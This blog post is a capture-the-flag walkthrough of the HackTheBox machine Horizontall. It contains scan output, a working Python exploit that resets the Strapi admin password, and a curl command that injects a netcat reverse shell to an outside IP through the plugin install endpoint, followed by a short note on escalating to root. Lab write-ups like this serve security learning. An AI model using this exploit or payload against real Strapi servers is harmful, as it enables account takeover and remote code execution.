HackTheBox - Horizontall

Summary

Horizontall a easy linux box on Hackthebox created by author wail99, was all about finding CVEs and exploiting it.

Initial Enumeration

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -sC -sV -oN nmap/horizontall horizontall.htb
[sudo] password for f3v3r:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-29 10:34 IST
Nmap scan report for 10.129.165.167
Host is up (0.54s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.35 seconds

web

I started manual enumeration along with running two gobuster one for directory other for vhost

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt  -u
http://horizontall.htb -o horizontall.gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/29 10:41:37 Starting gobuster in directory enumeration mode
===============================================================
/js (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]
/css (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/img (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/. (Status: 301) [Size: 194] [--> http://horizontall.htb/./]
Progress: 5805 / 56294 (10.31%) ^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2021/08/29 10:44:18 Finished
===============================================================

Directory gobuster didn’t found anything. Similarly didn’t found any input parameter on the page manually.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gobuster vhost -u horizontall.htb -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt  -t 50
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://horizontall.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/29 10:48:53 Starting gobuster in VHOST enumeration mode
===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]

with vhost enumeration i found another subdomain as api-prod.horizontall.htb in which when we run gobuster again for dir we find some directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt  -u http://api-prod.horizontall.htb -o api-horizontall.gobuster
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://api-prod.horizontall.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/08/29 10:52:07 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 200) [Size: 854]
/users (Status: 403) [Size: 60]
/reviews (Status: 200) [Size: 507]
/. (Status: 200) [Size: 413]

Opening /admin route show an login page

Checking the password reset page show us

a way to find some user.

with that we find admin@horizontall.htb to be valid user

Also enumerating we find strapi version to be 3.0.0-beta.17.4

with some google-fu I found [https://bittherapy.net/post/strapi-framework-remote-code-execution/] but for that we need valid creds and with some more google-fu we find security issue with reset password.

an write up on this exploit

using the code we can reset admin password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import sys
import json

args=sys.argv

if len(args) < 4:
print("Usage: {} <admin_email> <url> <new_password>".format(args[0]))
exit(-1)

email = args[1]
url = args[2]
new_password = args[3]

s = requests.Session()

version = json.loads(s.get("{}/admin/strapiVersion".format(url)).text)

print("[*] Detected version(GET /admin/strapiVersion): {}".format(version["strapiVersion"]))

#Request password reset
print("[*] Sending password reset request...")
reset_request={"email":email, "url":"{}/admin/plugins/users-permissions/auth/reset-password".format(url)}
s.post("{}/".format(url), json=reset_request)

#Reset password to
print("[*] Setting new password...")
exploit={"code":{}, "password":new_password, "passwordConfirmation":new_password}
r=s.post("{}/admin/auth/reset-password".format(url), json=exploit)

print("[*] Response:")
print(str(r.content))

So the issu is in the reset-password where if we pass code as {} it will pass the check. and reset the password

1
curl -i -s -k -X POST -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjE1Njg3LCJleHAiOjE2MzI4MDc2ODd9.yp4hXfpp5hajTLzWbCOR6_FtYSg_iMGGfntjiN1zIzU' -H 'Content-Type: application/json' --data '{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.52 4444 >/tmp/f)","port":"1337"}'  http://api-prod.horizontall.htb/admin/plugins/install

Give us shell as strapi

Shell

with this we can read users flag.


Lateral Movement

Eumerating the box we see 8000 to be open internly

Checking 8000 we see it to be

a Laravel v8 (PHP v7.4.18) site with some google-fu we find github

Modifying the script to set bash to have suid bit we can get root shell

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/horizontall/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.